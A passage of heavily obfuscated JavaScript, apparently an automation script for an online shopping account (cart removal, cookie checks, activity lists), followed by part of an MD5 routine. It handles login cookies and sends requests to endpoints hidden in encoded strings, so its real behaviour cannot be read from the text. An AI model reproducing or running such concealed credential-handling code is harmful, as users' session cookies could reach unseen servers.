Promise(_0x122626=>{if($[_0x32d7('‮398','\x65\x78\x2a\x52')]()&&process[_0x32d7('‮b','\x4b\x61\x46\x61')][_0x32d7('‫399','\x45\x6c\x42\x35')]){if(process[_0x32d7('‮2fa','\x59\x68\x5e\x45')][_0x32d7('‫39a','\x4d\x21\x70\x78')]){$[_0x32d7('‮39b','\x61\x50\x6f\x78')]=process[_0x32d7('‫39c','\x65\x78\x2a\x52')][_0x32d7('‮39d','\x77\x21\x4f\x5e')][_0x32d7('‮29b','\x58\x5a\x65\x5a')]('\x40');}}_0x4fbfeb[_0x32d7('‫39e','\x6f\x75\x6f\x54')](_0x122626);});}else{console[_0x32d7('‮16a','\x45\x38\x70\x67')]('\x0a'+_0x49bea3);console[_0x32d7('‮2a6','\x49\x25\x23\x71')](_0x32d7('‮39f','\x4b\x61\x46\x61')+$[_0x32d7('‮3a0','\x77\x4e\x6c\x62')]);$[_0x32d7('‫3a1','\x31\x5b\x21\x53')]=!![];}}}}}}postBody+=_0x32d7('‫3a2','\x4d\x6f\x32\x4f')+$[_0x32d7('‮3a3','\x31\x5b\x21\x53')]+_0x32d7('‫3a4','\x50\x23\x63\x61')+$[_0x32d7('‮3a5','\x4b\x61\x46\x61')]+_0x32d7('‫3a6','\x48\x6b\x43\x79');}function removeCart(){var _0x5cb3b1={'\x68\x62\x66\x74\x67':function(_0x4bc080,_0x164ae2){return _0x4bc080===_0x164ae2;},'\x56\x59\x59\x61\x53':_0x32d7('‫3a7','\x48\x57\x24\x44'),'\x57\x62\x64\x64\x58':_0x32d7('‫3a8','\x42\x48\x40\x69'),'\x61\x70\x51\x47\x49':function(_0x35d741,_0x4df398){return _0x35d741<_0x4df398;},'\x5a\x50\x48\x79\x4f':_0x32d7('‫3a9','\x59\x68\x5e\x45'),'\x73\x46\x67\x75\x43':function(_0xa886cb,_0x2a1ed3){return _0xa886cb(_0x2a1ed3);},'\x63\x53\x65\x6e\x69':_0x32d7('‫3aa','\x79\x68\x6c\x49'),'\x6b\x57\x48\x77\x58':_0x32d7('‫3ab','\x45\x6c\x42\x35'),'\x44\x68\x54\x52\x4a':_0x32d7('‮3ac','\x5e\x24\x73\x34'),'\x59\x50\x4b\x76\x79':_0x32d7('‮3ad','\x6f\x75\x6f\x54')};console[_0x32d7('‮f5','\x39\x66\x70\x45')](_0x5cb3b1[_0x32d7('‮3ae','\x48\x54\x32\x24')]);return new Promise(_0x4b927f=>{var _0x39b368={'\x58\x48\x49\x71\x48':function(_0x841930,_0x2126ad){return _0x5cb3b1[_0x32d7('‫3af','\x65\x51\x4f\x48')](_0x841930,_0x2126ad);},'\x44\x6a\x6e\x45\x4d':_0x5cb3b1[_0x32d7('‮3b0','\x59\x68\x5e\x45')],'\x73\x73\x50\x4e\x7a':_0x5cb3b1[_0x32d7('‫3b1','\x4c\x4c\x79\x74')],'\x70\x78\x6f\x47\x61':function(_0x2210a2,_0x55c06f){return _0x5cb3b1[_0x32d7('‫3b2','\x32\x5a\x29\x38')](_0x2210a2,_0x55c06f);},'\x6b\x5a\x4e\x49\x64':_0x5cb3b1[_0x32d7('‮3b3','\x4d\x21\x70\x78')],'\x7a\x72\x58\x46\x52':function(_0x1fc46e,_0x1d17df){return _0x5cb3b1[_0x32d7('‫3b4','\x63\x51\x67\x42')](_0x1fc46e,_0x1d17df);}};const _0x245704={'\x75\x72\x6c':_0x5cb3b1[_0x32d7('‮3b5','\x6f\x67\x73\x24')],'\x62\x6f\x64\x79':postBody,'\x68\x65\x61\x64\x65\x72\x73':{'Cookie':cookie,'User-Agent':_0x5cb3b1[_0x32d7('‮3b6','\x6a\x6b\x29\x26')],'referer':_0x5cb3b1[_0x32d7('‫3b7','\x68\x6e\x50\x61')],'origin':_0x5cb3b1[_0x32d7('‫3b8','\x52\x75\x4c\x40')]}};$[_0x32d7('‮3b9','\x42\x48\x40\x69')](_0x245704,async(_0x5616ce,_0x61b5b7,_0xfe8405)=>{if(_0x39b368[_0x32d7('‫3ba','\x50\x23\x63\x61')](_0x39b368[_0x32d7('‮3bb','\x4c\x6e\x36\x39')],_0x39b368[_0x32d7('‫3bc','\x4d\x6f\x32\x4f')])){$[_0x32d7('‫2ea','\x79\x68\x6c\x49')](_0x32d7('‫3bd','\x49\x25\x23\x71')+_0xfe8405[_0x32d7('‫3be','\x44\x35\x6a\x54')][_0x32d7('‫3bf','\x44\x35\x6a\x54')]);$[_0x32d7('‮3c0','\x32\x5a\x29\x38')]=_0xfe8405[_0x32d7('‫1a5','\x4c\x4c\x79\x74')][_0x32d7('‮3c1','\x57\x73\x71\x63')];$[_0x32d7('‫169','\x77\x69\x47\x6d')]=_0xfe8405[_0x32d7('‮3c2','\x4d\x21\x70\x78')][_0x32d7('‫3c3','\x77\x4e\x6c\x62')];}else{try{_0xfe8405=JSON[_0x32d7('‮260','\x32\x4c\x69\x67')](_0xfe8405);$[_0x32d7('‫3c4','\x6f\x75\x6f\x54')]=_0xfe8405[_0x32d7('‫3c5','\x45\x38\x70\x67')][_0x32d7('‮3c6','\x79\x68\x6c\x49')];if(_0x39b368[_0x32d7('‫3c7','\x59\x68\x5e\x45')]($[_0x32d7('‮3c8','\x49\x54\x6c\x28')],$[_0x32d7('‫3c9','\x65\x62\x76\x6e')])){console[_0x32d7('‫330','\x42\x48\x40\x69')](_0x32d7('‮3ca','\x49\x54\x6c\x28')+$[_0x32d7('‮3cb','\x79\x68\x6c\x49')]+_0x32d7('‫3cc','\x4c\x6e\x36\x39'));$[_0x32d7('‮3cd','\x39\x58\x59\x4a')]=$[_0x32d7('‫3ce','\x44\x35\x6a\x54')];}else{console[_0x32d7('‫236','\x7a\x6d\x4b\x45')](_0x39b368[_0x32d7('‫3cf','\x4c\x6e\x36\x39')]);console[_0x32d7('‫16c','\x6f\x75\x6f\x54')](_0xfe8405[_0x32d7('‮3d0','\x79\x68\x6c\x49')]);isRemoveAll=![];}}catch(_0x11e297){$[_0x32d7('‫3d1','\x7a\x6d\x4b\x45')](_0x11e297,_0x61b5b7);}finally{_0x39b368[_0x32d7('‮3d2','\x28\x62\x4e\x77')](_0x4b927f,_0xfe8405);}}});});}function getSubstr(_0x2f912a,_0x2be6b9,_0x5067e2){var _0x1f278b={'\x73\x4f\x63\x7a\x56':function(_0xe8a51f,_0x552dc9){return _0xe8a51f<_0x552dc9;},'\x5a\x56\x56\x41\x55':function(_0x4258fd,_0x1a7dc9){return _0x4258fd+_0x1a7dc9;}};let _0x4538d2=_0x2f912a[_0x32d7('‮3d3','\x74\x30\x66\x44')](_0x2be6b9);let _0x144fcd=_0x2f912a[_0x32d7('‮3d4','\x52\x75\x4c\x40')](_0x5067e2,_0x4538d2);if(_0x1f278b[_0x32d7('‫3d5','\x56\x6d\x6c\x45')](_0x4538d2,0x0)||_0x1f278b[_0x32d7('‫3d6','\x77\x69\x47\x6d')](_0x144fcd,_0x4538d2))return'';return _0x2f912a[_0x32d7('‮3d7','\x39\x58\x59\x4a')](_0x1f278b[_0x32d7('‮3d8','\x4d\x21\x70\x78')](_0x4538d2,_0x2be6b9[_0x32d7('‮3d9','\x48\x54\x32\x24')]),_0x144fcd);}function getActivityIdList(_0x3f21dd){var _0x34d790={'\x4e\x51\x74\x72\x78':function(_0x5b582c,_0x26c13c){return _0x5b582c===_0x26c13c;},'\x61\x51\x4c\x62\x76':_0x32d7('‮3da','\x74\x30\x66\x44'),'\x67\x74\x42\x6a\x58':_0x32d7('‫3db','\x31\x5b\x21\x53'),'\x45\x62\x55\x45\x72':function(_0x5f0555,_0x43eb7a){return _0x5f0555===_0x43eb7a;},'\x53\x4a\x6b\x58\x71':_0x32d7('‮3dc','\x6f\x67\x73\x24'),'\x46\x42\x71\x56\x71':function(_0x39bb29,_0x5435ce){return _0x39bb29(_0x5435ce);},'\x74\x51\x4f\x72\x6d':_0x32d7('‫3dd','\x65\x51\x4f\x48')};return new Promise(_0x2bbf11=>{const _0x45e1b0={'\x75\x72\x6c':_0x3f21dd+'\x3f'+new Date(),'timeout':0x2710,'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':_0x34d790[_0x32d7('‮3de','\x32\x4c\x69\x67')]}};$[_0x32d7('‫3df','\x65\x51\x4f\x48')](_0x45e1b0,async(_0x52729d,_0x202b94,_0x3a6862)=>{try{if(_0x52729d){if(_0x34d790[_0x32d7('‮3e0','\x45\x38\x70\x67')](_0x34d790[_0x32d7('‮3e1','\x49\x54\x6c\x28')],_0x34d790[_0x32d7('‮3e2','\x77\x69\x47\x6d')])){activityIdList=process[_0x32d7('‮3e3','\x32\x4c\x69\x67')][_0x32d7('‮3e4','\x56\x6d\x6c\x45')][_0x32d7('‮3e5','\x65\x78\x2a\x52')]('\x26');}else{$[_0x32d7('‫5f','\x4d\x6f\x32\x4f')](_0x52729d);}}else{if(_0x34d790[_0x32d7('‫3e6','\x57\x73\x71\x63')](_0x34d790[_0x32d7('‮3e7','\x65\x78\x2a\x52')],_0x34d790[_0x32d7('‫3e8','\x68\x6e\x50\x61')])){if(_0x3a6862)_0x3a6862=JSON[_0x32d7('‮3e9','\x32\x5a\x29\x38')](_0x3a6862);}else{$[_0x32d7('‫3ea','\x39\x66\x70\x45')]=![];return;}}}catch(_0x3e6c91){$[_0x32d7('‫3eb','\x79\x68\x6c\x49')](_0x3e6c91,_0x202b94);}finally{_0x34d790[_0x32d7('‫3ec','\x5e\x24\x73\x34')](_0x2bbf11,_0x3a6862);}});});}function getUUID(_0x2764a2=_0x32d7('‮3ed','\x68\x6e\x50\x61'),_0x2ec57d=0x0){var _0x1e8825={'\x6f\x5a\x43\x6e\x43':function(_0x7ea67c,_0x473050){return _0x7ea67c|_0x473050;},'\x49\x46\x6c\x6d\x41':function(_0x5ac322,_0x232963){return _0x5ac322*_0x232963;},'\x51\x76\x69\x4b\x76':function(_0x1e5965,_0x44a77a){return _0x1e5965==_0x44a77a;},'\x6f\x4d\x6d\x6b\x43':function(_0x1444f7,_0x3d688d){return _0x1444f7|_0x3d688d;},'\x76\x77\x6a\x6d\x4a':function(_0x57594a,_0x1263a3){return _0x57594a&_0x1263a3;}};return _0x2764a2[_0x32d7('‮3ee','\x45\x6c\x42\x35')](/[xy]/g,function(_0x24b449){var _0x6084b8=_0x1e8825[_0x32d7('‮3ef','\x5e\x24\x73\x34')](_0x1e8825[_0x32d7('‮3f0','\x32\x50\x4f\x23')](Math[_0x32d7('‫3f1','\x32\x42\x5d\x65')](),0x10),0x0),_0x1877a3=_0x1e8825[_0x32d7('‮3f2','\x59\x68\x5e\x45')](_0x24b449,'\x78')?_0x6084b8:_0x1e8825[_0x32d7('‫3f3','\x42\x48\x40\x69')](_0x1e8825[_0x32d7('‫3f4','\x57\x73\x71\x63')](_0x6084b8,0x3),0x8);if(_0x2ec57d){uuid=_0x1877a3[_0x32d7('‫3f5','\x6f\x67\x73\x24')](0x24)[_0x32d7('‫3f6','\x28\x68\x33\x51')]();}else{uuid=_0x1877a3[_0x32d7('‮3f7','\x56\x6d\x6c\x45')](0x24);}return uuid;});}function checkCookie(){var _0x1e2b8e={'\x67\x53\x73\x74\x7a':_0x32d7('‮3f8','\x79\x68\x6c\x49'),'\x4c\x4d\x68\x6f\x6c':function(_0xb914dc){return _0xb914dc();},'\x5a\x53\x78\x4e\x71':function(_0x5cc6fc,_0x4df29c){return _0x5cc6fc(_0x4df29c);},'\x7a\x4f\x61\x69\x54':function(_0x4a5c36,_0x4db8fa){return _0x4a5c36===_0x4db8fa;},'\x6e\x48\x7a\x6f\x42':_0x32d7('‫3f9','\x75\x66\x46\x45'),'\x43\x68\x5a\x79\x5a':function(_0x323e13,_0x4d6bb3){return _0x323e13(_0x4d6bb3);},'\x70\x4c\x71\x56\x50':function(_0x4cc748,_0x28b2cf,_0x4ae803,_0x3bed1f){return _0x4cc748(_0x28b2cf,_0x4ae803,_0x3bed1f);},'\x4f\x47\x58\x74\x5a':_0x32d7('‫3fa','\x77\x57\x5d\x4c'),'\x58\x43\x57\x7a\x73':_0x32d7('‮3fb','\x4c\x4c\x79\x74'),'\x77\x74\x62\x68\x46':_0x32d7('‮3fc','\x39\x66\x70\x45'),'\x68\x76\x6f\x6e\x6e':_0x32d7('‮3fd','\x32\x42\x5d\x65'),'\x4f\x72\x6d\x4b\x53':_0x32d7('‫3fe','\x75\x66\x46\x45'),'\x71\x44\x41\x52\x74':function(_0x14c31a,_0x2ccea7){return _0x14c31a!==_0x2ccea7;},'\x54\x4e\x52\x4f\x70':_0x32d7('‮3ff','\x77\x69\x47\x6d'),'\x75\x6d\x41\x53\x65':_0x32d7('‮400','\x4c\x4c\x79\x74'),'\x63\x64\x75\x4e\x77':_0x32d7('‫401','\x77\x21\x4f\x5e'),'\x74\x51\x73\x42\x72':_0x32d7('‮402','\x57\x51\x75\x71'),'\x72\x42\x68\x68\x68':_0x32d7('‮403','\x4d\x6f\x32\x4f'),'\x4d\x76\x57\x52\x51':function(_0x37bb00,_0x576181){return _0x37bb00===_0x576181;},'\x70\x6d\x73\x57\x63':_0x32d7('‫404','\x77\x57\x5d\x4c'),'\x56\x65\x72\x76\x65':_0x32d7('‫405','\x57\x73\x71\x63'),'\x68\x6d\x4d\x52\x7a':_0x32d7('‮406','\x6f\x75\x6f\x54'),'\x74\x53\x79\x47\x4c':_0x32d7('‮407','\x49\x25\x23\x71'),'\x68\x56\x42\x49\x42':_0x32d7('‫408','\x48\x54\x32\x24'),'\x4b\x65\x4f\x46\x75':_0x32d7('‮409','\x31\x5b\x21\x53'),'\x5a\x53\x71\x58\x6c':_0x32d7('‮40a','\x4d\x6f\x32\x4f'),'\x6c\x66\x76\x69\x6a':_0x32d7('‫40b','\x68\x6e\x50\x61'),'\x48\x57\x59\x6c\x47':_0x32d7('‮40c','\x7a\x6d\x4b\x45'),'\x58\x6a\x61\x47\x41':_0x32d7('‮40d','\x68\x6e\x50\x61'),'\x53\x7a\x64\x6e\x78':_0x32d7('‮40e','\x31\x5b\x21\x53'),'\x6a\x44\x41\x50\x4c':_0x32d7('‫40f','\x59\x68\x5e\x45'),'\x6d\x65\x4a\x48\x57':_0x32d7('‫410','\x4d\x6f\x32\x4f'),'\x4a\x61\x56\x78\x71':_0x32d7('‫411','\x7a\x6d\x4b\x45'),'\x43\x69\x66\x76\x49':_0x32d7('‫412','\x77\x21\x4f\x5e')};const _0x3ecafd={'\x75\x72\x6c':_0x1e2b8e[_0x32d7('‮413','\x42\x48\x40\x69')],'\x68\x65\x61\x64\x65\x72\x73':{'Host':_0x1e2b8e[_0x32d7('‫414','\x57\x51\x75\x71')],'Accept':_0x1e2b8e[_0x32d7('‮415','\x61\x50\x6f\x78')],'Connection':_0x1e2b8e[_0x32d7('‮416','\x50\x23\x63\x61')],'Cookie':cookie,'User-Agent':_0x1e2b8e[_0x32d7('‫417','\x77\x69\x47\x6d')],'Accept-Language':_0x1e2b8e[_0x32d7('‮418','\x40\x26\x21\x64')],'Referer':_0x1e2b8e[_0x32d7('‮419','\x77\x57\x5d\x4c')],'Accept-Encoding':_0x1e2b8e[_0x32d7('‫41a','\x45\x38\x70\x67')]}};return new Promise(_0x3b9429=>{var _0x2b82f5={'\x6a\x54\x6d\x63\x50':_0x1e2b8e[_0x32d7('‮41b','\x65\x51\x4f\x48')],'\x42\x4d\x53\x72\x66':function(_0x27dd32){return _0x1e2b8e[_0x32d7('‮41c','\x61\x50\x6f\x78')](_0x27dd32);},'\x62\x58\x62\x6a\x4d':function(_0x82919a,_0x1b57a5){return _0x1e2b8e[_0x32d7('‮41d','\x28\x68\x33\x51')](_0x82919a,_0x1b57a5);},'\x44\x41\x6f\x44\x67':function(_0x42f28d,_0x2431af){return _0x1e2b8e[_0x32d7('‮41e','\x77\x57\x5d\x4c')](_0x42f28d,_0x2431af);},'\x72\x63\x45\x58\x54':_0x1e2b8e[_0x32d7('‫41f','\x48\x6b\x43\x79')],'\x6a\x75\x54\x73\x4a':function(_0x2d2755,_0x138e42){return _0x1e2b8e[_0x32d7('‫420','\x59\x68\x5e\x45')](_0x2d2755,_0x138e42);},'\x6a\x71\x44\x6e\x49':function(_0x5595a4,_0x3b5112,_0x16e010,_0x5eff1b){return _0x1e2b8e[_0x32d7('‮421','\x4b\x61\x46\x61')](_0x5595a4,_0x3b5112,_0x16e010,_0x5eff1b);},'\x51\x49\x77\x78\x49':_0x1e2b8e[_0x32d7('‫422','\x32\x5a\x29\x38')],'\x4a\x6c\x6b\x71\x72':_0x1e2b8e[_0x32d7('‮423','\x63\x51\x67\x42')],'\x75\x61\x77\x56\x56':_0x1e2b8e[_0x32d7('‫424','\x57\x51\x75\x71')],'\x69\x66\x62\x67\x57':function(_0x58f51f,_0x171936){return _0x1e2b8e[_0x32d7('‮425','\x57\x73\x71\x63')](_0x58f51f,_0x171936);},'\x43\x6f\x48\x49\x49':_0x1e2b8e[_0x32d7('‮426','\x49\x54\x6c\x28')],'\x67\x43\x56\x56\x48':_0x1e2b8e[_0x32d7('‫427','\x4b\x61\x46\x61')],'\x68\x61\x4f\x54\x77':function(_0x5f3417,_0x3d2088){return _0x1e2b8e[_0x32d7('‮428','\x48\x6b\x43\x79')](_0x5f3417,_0x3d2088);},'\x59\x47\x7a\x59\x55':_0x1e2b8e[_0x32d7('‮429','\x39\x58\x59\x4a')],'\x52\x4c\x5a\x41\x41':_0x1e2b8e[_0x32d7('‫42a','\x59\x68\x5e\x45')],'\x45\x59\x71\x52\x47':_0x1e2b8e[_0x32d7('‮42b','\x32\x5a\x29\x38')],'\x74\x47\x59\x44\x4a':_0x1e2b8e[_0x32d7('‮42c','\x61\x50\x6f\x78')],'\x68\x65\x44\x77\x7a':_0x1e2b8e[_0x32d7('‫42d','\x59\x68\x5e\x45')],'\x7a\x63\x46\x4b\x4d':function(_0x3823ae,_0x6318e0){return _0x1e2b8e[_0x32d7('‮42e','\x31\x5b\x21\x53')](_0x3823ae,_0x6318e0);},'\x4f\x47\x68\x67\x4f':_0x1e2b8e[_0x32d7('‮42f','\x40\x26\x21\x64')],'\x72\x51\x4c\x63\x51':_0x1e2b8e[_0x32d7('‫430','\x6f\x75\x6f\x54')],'\x68\x6b\x71\x46\x63':_0x1e2b8e[_0x32d7('‫431','\x32\x50\x4f\x23')],'\x4a\x41\x5a\x6d\x66':function(_0x4c20e6,_0x3121f1){return _0x1e2b8e[_0x32d7('‫432','\x57\x51\x75\x71')](_0x4c20e6,_0x3121f1);},'\x41\x76\x4f\x62\x74':_0x1e2b8e[_0x32d7('‮433','\x58\x5a\x65\x5a')],'\x55\x68\x57\x7a\x58':_0x1e2b8e[_0x32d7('‫434','\x31\x5b\x21\x53')],'\x79\x6a\x7a\x6f\x6f':function(_0x16e50a,_0x3db78b){return _0x1e2b8e[_0x32d7('‮435','\x77\x21\x4f\x5e')](_0x16e50a,_0x3db78b);},'\x43\x55\x49\x4a\x72':_0x1e2b8e[_0x32d7('‮436','\x4c\x6e\x36\x39')],'\x6f\x6d\x67\x58\x72':_0x1e2b8e[_0x32d7('‮437','\x4d\x21\x70\x78')]};$[_0x32d7('‫438','\x4c\x4c\x79\x74')](_0x3ecafd,(_0x40c5d9,_0x2f984b,_0x3fbf10)=>{var _0x4bed0b={'\x46\x6a\x4d\x62\x65':function(_0x3cb7af,_0x481fa8){return _0x2b82f5[_0x32d7('‫439','\x4c\x6e\x36\x39')](_0x3cb7af,_0x481fa8);},'\x47\x77\x64\x4b\x68':_0x2b82f5[_0x32d7('‮43a','\x6f\x67\x73\x24')],'\x42\x73\x77\x45\x52':function(_0x488eba,_0x52accd){return _0x2b82f5[_0x32d7('‫43b','\x63\x51\x67\x42')](_0x488eba,_0x52accd);},'\x6d\x63\x7a\x69\x75':function(_0x563e1b,_0x17141a,_0x28a651,_0x12604c){return _0x2b82f5[_0x32d7('‮43c','\x45\x6c\x42\x35')](_0x563e1b,_0x17141a,_0x28a651,_0x12604c);},'\x77\x71\x69\x6b\x67':_0x2b82f5[_0x32d7('‮43d','\x77\x4e\x6c\x62')],'\x73\x70\x4b\x4c\x66':_0x2b82f5[_0x32d7('‫43e','\x6b\x48\x40\x35')],'\x76\x77\x6b\x46\x52':_0x2b82f5[_0x32d7('‮43f','\x79\x68\x6c\x49')]};if(_0x2b82f5[_0x32d7('‫440','\x28\x68\x33\x51')](_0x2b82f5[_0x32d7('‫441','\x6f\x75\x6f\x54')],_0x2b82f5[_0x32d7('‮442','\x4c\x4c\x79\x74')])){$[_0x32d7('‮443','\x65\x78\x2a\x52')](_0x2b82f5[_0x32d7('‫444','\x4c\x6e\x36\x39')]);}else{try{if(_0x40c5d9){if(_0x2b82f5[_0x32d7('‮445','\x31\x5b\x21\x53')](_0x2b82f5[_0x32d7('‮446','\x32\x4c\x69\x67')],_0x2b82f5[_0x32d7('‫447','\x57\x51\x75\x71')])){$[_0x32d7('‮448','\x59\x68\x5e\x45')](_0x40c5d9);}else{let _0xab4cda=product[_0x32d7('‮449','\x32\x5a\x29\x38')];let _0x15daa6=product[_0x32d7('‮38a','\x57\x51\x75\x71')]['\x69\x64'];if(_0x4bed0b[_0x32d7('‫44a','\x77\x4e\x6c\x62')](pid,''))postBody+=_0x15daa6+_0x32d7('‫44b','\x61\x50\x6f\x78')+_0x15daa6+_0x32d7('‮44c','\x32\x50\x4f\x23')+_0xab4cda+_0x32d7('‮44d','\x58\x5a\x65\x5a');else postBody+=_0x15daa6+_0x32d7('‮44e','\x48\x6b\x43\x79')+_0x15daa6+_0x32d7('‮44f','\x31\x5b\x21\x53')+pid+_0x32d7('‮450','\x61\x50\x6f\x78')+_0xab4cda+_0x32d7('‮451','\x65\x78\x2a\x52');$[_0x32d7('‮452','\x42\x48\x40\x69')]+=0x1;}}else{if(_0x3fbf10){_0x3fbf10=JSON[_0x32d7('‫453','\x4c\x6e\x36\x39')](_0x3fbf10);if(_0x2b82f5[_0x32d7('‮454','\x74\x30\x66\x44')](_0x3fbf10[_0x32d7('‮455','\x48\x54\x32\x24')],_0x2b82f5[_0x32d7('‫456','\x77\x69\x47\x6d')])){if(_0x2b82f5[_0x32d7('‮457','\x4b\x61\x46\x61')](_0x2b82f5[_0x32d7('‮458','\x32\x5a\x29\x38')],_0x2b82f5[_0x32d7('‫459','\x63\x51\x67\x42')])){$[_0x32d7('‮45a','\x28\x62\x4e\x77')](e,_0x2f984b);}else{$[_0x32d7('‮45b','\x32\x42\x5d\x65')]=![];return;}}if(_0x2b82f5[_0x32d7('‫45c','\x75\x66\x46\x45')](_0x3fbf10[_0x32d7('‫45d','\x39\x58\x59\x4a')],'\x30')&&_0x3fbf10[_0x32d7('‮45e','\x28\x62\x4e\x77')][_0x32d7('‫45f','\x45\x6c\x42\x35')](_0x2b82f5[_0x32d7('‮460','\x7a\x6d\x4b\x45')])){$[_0x32d7('‫461','\x39\x58\x59\x4a')]=_0x3fbf10[_0x32d7('‮3c2','\x4d\x21\x70\x78')][_0x32d7('‮462','\x65\x51\x4f\x48')][_0x32d7('‮463','\x75\x66\x46\x45')][_0x32d7('‫464','\x74\x30\x66\x44')];}}else{if(_0x2b82f5[_0x32d7('‫465','\x45\x38\x70\x67')](_0x2b82f5[_0x32d7('‮466','\x6f\x67\x73\x24')],_0x2b82f5[_0x32d7('‮467','\x77\x57\x5d\x4c')])){_0x2b82f5[_0x32d7('‫468','\x32\x50\x4f\x23')](_0x3b9429);}else{$[_0x32d7('‮68','\x61\x50\x6f\x78')](_0x2b82f5[_0x32d7('‮469','\x68\x6e\x50\x61')]);}}}}catch(_0x4bf63e){if(_0x2b82f5[_0x32d7('‮46a','\x7a\x6d\x4b\x45')](_0x2b82f5[_0x32d7('‫46b','\x68\x6e\x50\x61')],_0x2b82f5[_0x32d7('‮46c','\x4d\x6f\x32\x4f')])){$[_0x32d7('‫46d','\x4d\x6f\x32\x4f')](_0x4bf63e);}else{var _0x1179a5=_0x4bed0b[_0x32d7('‫46e','\x77\x69\x47\x6d')][_0x32d7('‮2a1','\x48\x54\x32\x24')]('\x7c'),_0x5ac14c=0x0;while(!![]){switch(_0x1179a5[_0x5ac14c++]){case'\x30':$[_0x32d7('‫46f','\x48\x57\x24\x44')]=_0x3fbf10[_0x32d7('‫470','\x45\x6c\x42\x35')];continue;case'\x31':venderCart=_0x3fbf10[_0x32d7('‮471','\x32\x4c\x69\x67')][_0x32d7('‫472','\x77\x4e\x6c\x62')];continue;case'\x32':$[_0x32d7('‫473','\x42\x48\x40\x69')]=_0x3fbf10[_0x32d7('‮474','\x77\x57\x5d\x4c')];continue;case'\x33':$[_0x32d7('‫475','\x79\x68\x6c\x49')]=_0x3fbf10[_0x32d7('‮476','\x77\x69\x47\x6d')][_0x32d7('‫477','\x32\x50\x4f\x23')];continue;case'\x34':console[_0x32d7('‮2cf','\x77\x69\x47\x6d')](_0x32d7('‮478','\x77\x69\x47\x6d')+$[_0x32d7('‮479','\x50\x23\x63\x61')]+'\x20\u6761');continue;case'\x35':_0x3fbf10=_0x4bed0b[_0x32d7('‮47a','\x31\x5b\x21\x53')](strToJson,_0x4bed0b[_0x32d7('‫47b','\x4d\x6f\x32\x4f')](getSubstr,_0x3fbf10,_0x4bed0b[_0x32d7('‮47c','\x65\x62\x76\x6e')],_0x4bed0b[_0x32d7('‮47d','\x65\x78\x2a\x52')])[_0x32d7('‫47e','\x65\x51\x4f\x48')]('\x20\x3b',''));continue;case'\x36':postBody=_0x4bed0b[_0x32d7('‮47f','\x59\x68\x5e\x45')];continue;}break;}}}finally{if(_0x2b82f5[_0x32d7('‫480','\x79\x68\x6c\x49')](_0x2b82f5[_0x32d7('‮481','\x32\x42\x5d\x65')],_0x2b82f5[_0x32d7('‫482','\x56\x6d\x6c\x45')])){_0x2b82f5[_0x32d7('‮483','\x61\x50\x6f\x78')](_0x3b9429);}else{_0x2b82f5[_0x32d7('‮484','\x77\x69\x47\x6d')](_0x3b9429,_0x3fbf10);}}}});});};_0xodD='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, 